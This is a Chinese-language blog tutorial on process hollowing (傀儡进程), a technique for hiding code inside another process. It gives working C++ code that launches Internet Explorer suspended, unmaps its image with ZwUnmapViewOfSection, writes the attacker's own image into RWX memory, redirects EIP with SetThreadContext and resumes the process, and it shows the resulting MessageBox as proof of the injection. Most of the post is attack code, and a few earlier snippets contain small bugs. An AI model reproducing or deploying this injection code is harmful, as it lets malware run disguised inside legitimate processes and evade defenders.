Drunkmars's Blog

初探傀儡进程

字数统计: 2.4k阅读时长: 10 min
2021/10/26

对于进程隐藏技术有很多种实现方式,本文就对傀儡进程进行分析及实现。

基础知识

挂起方式创建进程

我们知道如果进程创建之后会在内存空间进行拉伸,那么我们如果需要写入shellcode,只能在程序运行之前写入,因为当程序运行起来之后是不能够进行操作的。但是有一个例外,如果我们以挂起模式创建进程,写入shellcode到内存空间,再恢复进程,也能够达到同样的效果。

我们知道创建进程用到CreateProcess这个函数,首先看下结构

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcess(  
 LPCTSTR lpApplicationName, // 应用程序名称
 LPTSTR lpCommandLine, // 命令行字符串
 LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性
 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性
 BOOL bInheritHandles, // 是否继承父进程的属性
 DWORD dwCreationFlags, // 创建标志
 LPVOID lpEnvironment, // 指向新的环境块的指针
 LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针
 LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息
 LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息
);

其中以挂起方式创建进程与两个参数有关,分别是第三个参数和第四个参数

lpProcessAttributes

CreateProcess结构中的第三个成员,指向SECURITY_ATTRIBUTES结构的一个指针,用来设置进程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,进程句柄不能够被子进程继承

1
2
3
4
5
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength; //结构体的大小
LPVOID lpSecurityDescriptor; //安全描述符
BOOL bInheritHandle; //指定返回的句柄是否被继承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;

lpThreadAttributes

CreateProcess结构中的第四个成员,指向SECURITY_ATTRIBUTES结构的一个指针,用来设置线程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,线程句柄不能够被子进程继承

1
2
3
4
5
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength; //结构体的大小
LPVOID lpSecurityDescriptor; //安全描述符
BOOL bInheritHandle; //指定返回的句柄是否被继承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;

那么这里验证一下挂起进程之后就不能够对进程进行操作

父进程代码,创建一个ie浏览器的进程并调用CreateProcess创建子进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// win32 create process3.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

int main(int argc, char* argv[])
{
char szBuffer[256] = {0};
char szHandle[8] = {0};

SECURITY_ATTRIBUTES ie_sa_p;
ie_sa_p.nLength = sizeof(ie_sa_p);
ie_sa_p.lpSecurityDescriptor = NULL;
ie_sa_p.bInheritHandle = TRUE;

SECURITY_ATTRIBUTES ie_sa_t;
ie_sa_t.nLength = sizeof(ie_sa_t);
ie_sa_t.lpSecurityDescriptor = NULL;
ie_sa_t.bInheritHandle = TRUE;

//创建一个可以被继承的内核对象,此处是个进程

STARTUPINFO ie_si = {0};
PROCESS_INFORMATION ie_pi;
ie_si.cb = sizeof(ie_si);

TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe");

CreateProcess(
NULL,
szCmdline,
&ie_sa_p,
&ie_sa_t,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL, &ie_si, &ie_pi);

//组织命令行参数
sprintf(szHandle,"%x %x",ie_pi.hProcess,ie_pi.hThread);
sprintf(szBuffer,"C:/project/win32 create process4/Debug/win32 create process4.exe %s",szHandle);

//定义创建进程需要用的结构体
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof(si);

//创建子进程
BOOL res = CreateProcess(
NULL,
szBuffer,
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL, &si, &pi);

return 0;
}

子进程代码如下,这里获取到子进程的句柄之后,使用SuspendThread挂起进程,等待5s后使用ResumeThread恢复进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// win32 create process4.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

int main(int argc, char* argv[])
{
DWORD dwProcessHandle = -1;
DWORD dwThreadHandle = -1;
char szBuffer[256] = {0};


memcpy(szBuffer,argv[1],8);
sscanf(szBuffer,"%x",&dwProcessHandle);

memset(szBuffer,0,256);
memcpy(szBuffer,argv[2],8);
sscanf(szBuffer,"%x",&dwThreadHandle);

printf("获取IE进程、主线程句柄\n");
Sleep(5000);
//挂起主线程
printf("挂起主线程\n");
::SuspendThread((HANDLE)dwThreadHandle);

Sleep(5000);

//恢复主线程
::ResumeThread((HANDLE)dwThreadHandle);
printf("恢复主线程\n");

Sleep(5000);

//关闭ID进程
::TerminateProcess((HANDLE)dwProcessHandle,1);
::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE);

printf("ID进程已经关闭.....\n");

char szBuffer[256] = {0};

GetCurrentDirectory(256,szBuffer);

printf("%s\n",szBuffer);

getchar();

return 0;
}

这里看下实验效果,可以看到挂起主线程时候,ie浏览器是点不动的,恢复主线程之后又可以正常运行,那么我们尝试使用挂起模式启动一个进程

process6

以挂起模式启动进程,只需要改一个地方,就是CreateProcess的第六个成员,设置为CREATE_SUSPENDED(非活动状态)即可,挂起之后使用ResumeThread恢复执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// win32 create process3.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

int main(int argc, char* argv[])
{
STARTUPINFO ie_si = {0};
PROCESS_INFORMATION ie_pi;
ie_si.cb = sizeof(ie_si);

TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe";
CreateProcess(
NULL,
szBuffer,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&ie_si,
&ie_pi
);

//恢复执行
ResumeThread(ie_pi.hThread);

return 0;
}

实现效果如下,这里使用挂起模式创建notepad,可以看到任务管理器里面已经有了这个进程,但是还没有显示出来,使用ResumeThread恢复执行之后就是一个正常的进程

process9

实现过程

知道了以挂起模式启动进程,我们整理下思路。首先我们以挂起形式创建进程,创建进程过后我们的目的是写入shellcode,那么就要自己申请一块可读可写的区域内存放我们的shellcode,然后再恢复主线程,将函数入口指向我们的shellcode即可,当然这只是一个demo,具体细节还需要具体优化。

这里我使用了一个内核apiZwUnmapViewOfSection,用来清空之前内存里面的数据

那么首先我们把创建进程这部分写一个单独的函数

使用CREATE_SUSPENDED挂起创建进程的方式

1
CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

再写一个if语句判断进程创建是否成功,这里我创建的进程还是IE,完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BOOL CreateIEProcess()	
{
wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
BOOL bRet;

CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

if (bRet)
{
printf("Create IE successfully!\n\n");
}
else
{
printf("Create IE failed\n\n");
}
return bRet;
}

然后使用内核apiZwUnmapViewOfSection卸载创建这个基质内存空间的数据,这里先看下ZwUnmapViewOfSection的结构

1
2
3
NTSTATUS   ZwUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress );

这个函数在wdm.h里面声明,那我们使用ntdll.dll将这个api加载进来

1
ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");

然后使用GetModuleHandleA获取模块基址

1
HMODULE hModuleBase = GetModuleHandleA(NULL);

使用GetCurModuleSize获取映像大小

1
DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);

每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,线程也就是eip, 这样可以使CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行,所以我们要先获取线程上下文的状态,使用到GetThreadContext

1
2
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);

下一步我们需要知道程序的基址,这里我用到PEB结构和ReadProcessMemory来获取,首先看下PEB的结构

1
2
3
4
5
6
7
8
9
10
root> dt_peb
nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 SpareBits : Pos 1, 7 Bits
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void

ImageBaseAddress在+0x008这个位置,所以这个地方ReadProcessMemory的参数就是PEB+8

1
2
3
4
5
6
DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
DWORD dwBaseAddr;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL);
return dwBaseAddr;
}

使用ZwUnmapViewOfSection来卸载空间数据

1
ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);

卸载完空间数据之后,用VirtualAllocEx重新为我们创建的进程申请一块空间

1
VirtualAllocEx(pi.hProcess,	hModuleBase,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);

然后使用WriteProcessMemory写入

1
WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);

在写入完成之后使用GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文

1
ThreadCxt.ContextFlags = CONTEXT_FULL;

然后修改eip指向我们自己的函数地址,这里写一个MessageBox

1
2
3
4
5
6
7
8
9
10
11
DWORD GetNewOEP()
{
return (DWORD)MessageBox;
}

void MessageBox()
{
MessageBoxA(0, "Inject successfully", "", 0);
}

Threadna.Eip = GetNewOEP();

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#include <windows.h>
#include <tchar.h>
#include <iostream>
using namespace std;


typedef long NTSTATUS;

typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
IN HANDLE ProcessHandle,
IN LPVOID BaseAddress
);
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;

PROCESS_INFORMATION pi = { 0 };


BOOL CreateEXE()
{
wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
BOOL bRet;

bRet = CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

if (bRet)
{
printf("[*] Create process successfully!\n\n");
}
else
{
printf("[!] Create process failed\n\n");
}

return bRet;
}


DWORD GetCurModuleSize(DWORD dwModuleBase)
{
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
return pNtHdr->OptionalHeader.SizeOfImage;
}


DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
DWORD dwBaseRet;
ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
return dwBaseRet;
}

void Mess()
{
MessageBoxA(0, "Inject successfully", "", 0);
}

DWORD GetNewOEP()
{
return (DWORD)Mess;
}


int _tmain(int argc, _TCHAR* argv[])
{

ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection);

if (!ZwUnmapViewOfSection)
{
printf("[!] ZwUnmapViewOfSection failed\n\n");
exit(1);
}

if (!CreateEXE())
{
printf("[!] Create Process failed\n\n");
exit(1);
}

printf("[*] The process PID is : %d\n\n", pi.dwProcessId);
HMODULE hModuleBase = GetModuleHandleA(NULL);

DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);

CONTEXT Thread;

Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;

GetThreadContext(pi.hThread, &Thread);


DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);

ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);

LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (lpAllocAddr)
{
printf("[*] VirtualAllocEx successfully!\n\n");

}
else
{
printf("[!] VirtualAllocEx failed\n\n");
return FALSE;
}

if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL))
{
printf("[!] WriteProcessMemory failed\n\n");
return FALSE;
}
else
{
printf("[*] WriteProcessMemory successfully!\n\n");
}

Thread.ContextFlags = CONTEXT_FULL;
Thread.Eip = GetNewOEP();

SetThreadContext(pi.hThread, &Thread);

if (-1 == ResumeThread(pi.hThread))
{
printf("[!] ResumeThread failed\n\n");
return FALSE;
}
else
{
printf("[*] ResumeThread successfully!\n\n");
}

}

实现效果

到这我们的函数就已经成功了,运行一下弹出了messagebox,证明修改eip成功

image-20211026201150039

CATALOG
  1. 1. 基础知识
    1. 1.1. 挂起方式创建进程
  2. 2. 实现过程
  3. 3. 实现效果